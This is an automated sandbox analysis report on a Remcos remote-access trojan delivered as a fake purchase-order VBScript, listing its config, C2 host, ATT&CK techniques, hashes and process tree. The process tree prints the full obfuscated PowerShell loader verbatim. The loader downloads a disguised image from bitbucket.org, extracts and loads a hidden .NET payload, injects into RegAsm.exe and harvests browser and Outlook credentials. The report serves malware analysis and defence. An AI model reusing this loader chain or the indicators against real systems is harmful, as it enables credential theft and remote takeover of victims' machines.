remcos | d22b06b385c7008e533025e88223e3d2ce7dbc38ef5de6087d5e5e22cf95ff52

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
06/08/2024, 05:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ORDER727366466274PO.vbs
Size 19KB
Sample240806-gmgcpavfph
SHA256 d22b06b385c7008e533025e88223e3d2ce7dbc38ef5de6087d5e5e22cf95ff52
MD5 19ecbe9a74df45f419b2aa8cd76846a0
SHA1 b5acd3a3efc27866c8c0185210267eef73b59beb
SHA512 fc16c96413d1f726512828d43db72e57ddcd71df2f8242a062e679296d8181b6eef23c562c6de96d6b49a7bca87ed2a867a50a77e3d7113c8052ce330863c516
SSDEEP 384:qDw/vu5d27ZbUz7tTYuPJmxNSiMFpWrd2Wx3l4cgbLW:qDw/m5dcb0MCW2wzxl4PnW
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection credential_access discovery execution rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

mad.lotus-marines.com:7666

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-NRIWLN
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4788-56-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2636-55-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2824-57-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4788-56-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2824-57-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	4832	powershell.exe
15	4832	powershell.exe
30	4832	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4540	powershell.exe
4832	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	bitbucket.org
2	bitbucket.org

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4832 set thread context of 3632	4832	powershell.exe	92
PID 3632 set thread context of 2824	3632	RegAsm.exe	94
PID 3632 set thread context of 4788	3632	RegAsm.exe	95
PID 3632 set thread context of 2636	3632	RegAsm.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4540	powershell.exe
4540	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
2636	RegAsm.exe
2636	RegAsm.exe
2824	RegAsm.exe
2824	RegAsm.exe
2824	RegAsm.exe
2824	RegAsm.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3632	RegAsm.exe
3632	RegAsm.exe
3632	RegAsm.exe
3632	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	2636	RegAsm.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4808 wrote to memory of 4540	4808	WScript.exe	83
PID 4808 wrote to memory of 4540	4808	WScript.exe	83
PID 4540 wrote to memory of 4832	4540	powershell.exe	85
PID 4540 wrote to memory of 4832	4540	powershell.exe	85
PID 4832 wrote to memory of 2052	4832	powershell.exe	91
PID 4832 wrote to memory of 2052	4832	powershell.exe	91
PID 4832 wrote to memory of 2052	4832	powershell.exe	91
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 4832 wrote to memory of 3632	4832	powershell.exe	92
PID 3632 wrote to memory of 2824	3632	RegAsm.exe	94
PID 3632 wrote to memory of 2824	3632	RegAsm.exe	94
PID 3632 wrote to memory of 2824	3632	RegAsm.exe	94
PID 3632 wrote to memory of 2824	3632	RegAsm.exe	94
PID 3632 wrote to memory of 4788	3632	RegAsm.exe	95
PID 3632 wrote to memory of 4788	3632	RegAsm.exe	95
PID 3632 wrote to memory of 4788	3632	RegAsm.exe	95
PID 3632 wrote to memory of 4788	3632	RegAsm.exe	95
PID 3632 wrote to memory of 4376	3632	RegAsm.exe	96
PID 3632 wrote to memory of 4376	3632	RegAsm.exe	96
PID 3632 wrote to memory of 4376	3632	RegAsm.exe	96
PID 3632 wrote to memory of 2636	3632	RegAsm.exe	97
PID 3632 wrote to memory of 2636	3632	RegAsm.exe	97
PID 3632 wrote to memory of 2636	3632	RegAsm.exe	97
PID 3632 wrote to memory of 2636	3632	RegAsm.exe	97

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ORDER727366466274PO.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#LgBn#Gg#bgBt#Gs#bgBn#C8#bQBv#GM#LgBz#GU#cgBw#Hg#aQBh#C8#Lw#6#HM#c#B0#HQ#a##n#Cw#I##n#D##Jw#s#C##JwBT#HQ#YQBy#HQ#dQBw#E4#YQBt#GU#Jw#s#C##JwBS#GU#ZwBB#HM#bQ#n#Cw#I##n#D##Jw#p#Ck#fQB9##==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?11811735', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.ghnmkng/moc.serpxia//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4832
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:2052
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:3632
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\dplie"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2824
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\nrqbficj"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:4788
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\pmvlybnchrn"
        5⤵
        
        PID:4376
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\pmvlybnchrn"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 69f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8
MD5 906a96ab3d13d754809f312628f6e4ac
SHA1 4f1f3d49c788e5736c31904eaf4683ea4e8683c6
SHA512 a0f5fad77325a869edb9a80beb4f2604c5f6d5af652f21a2283e366cd32d42f6fb2f4761d596c6a77a2d83fda4ab52d9a645aedbce5295223c0e30faf306a851
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
MD5 235a8eb126d835efb2e253459ab8b089
SHA1 293fbf68e6726a5a230c3a42624c01899e35a89f
SHA512 a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_umypp2hb.erh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_umypp2hb.erh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

dplie

Path C:\Users\Admin\AppData\Local\Temp\dplie
Size 4KB
SHA256 3586befc3b8b4da223e2ee0dcb00965ba5c0a205c14f2acefdeec7e46efddd5a
MD5 faaa2b16df1bfc1a3792faaa35786349
SHA1 359534a59d7c5139ae205c24533ba60afdfb9f3f
SHA512 2fbc79cace52a58e69ab983d034bb41ebb2496f767e18e5e4b31eefc4447c935d8614f744c71302e459350a05562fadc4c2355d76638b595e7cff1bb3d1618db
SSDEEP 48:wvvv0EXxfvvcEXxfdvv0EXxBvv0EXxakvv0EX7:mv3xvvp1v3Pv3bv37
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2636-52-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2636-54-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2636-55-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2824-57-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2824-51-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2824-49-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2824-47-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3632-37-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-44-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-34-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-35-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-36-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-68-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-38-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-39-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-40-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-41-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-43-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-32-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-46-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-45-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-25-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-69-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-70-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-67-0x0000000010000000-0x0000000010019000-memory.dmp

Download

memory/3632-72-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-71-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-66-0x0000000010000000-0x0000000010019000-memory.dmp

Download

memory/3632-73-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3632-63-0x0000000010000000-0x0000000010019000-memory.dmp

Download

memory/3632-74-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4540-31-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

Download

memory/4540-0-0x00007FFA14AC3000-0x00007FFA14AC5000-memory.dmp

Download

memory/4540-23-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

Download

memory/4540-22-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

Download

memory/4540-12-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

Download

memory/4540-11-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

Download

memory/4540-1-0x0000026DDA8C0000-0x0000026DDA8E2000-memory.dmp

Download

memory/4788-48-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4788-53-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4788-56-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4832-24-0x000001D9B91B0000-0x000001D9B91EE000-memory.dmp

Download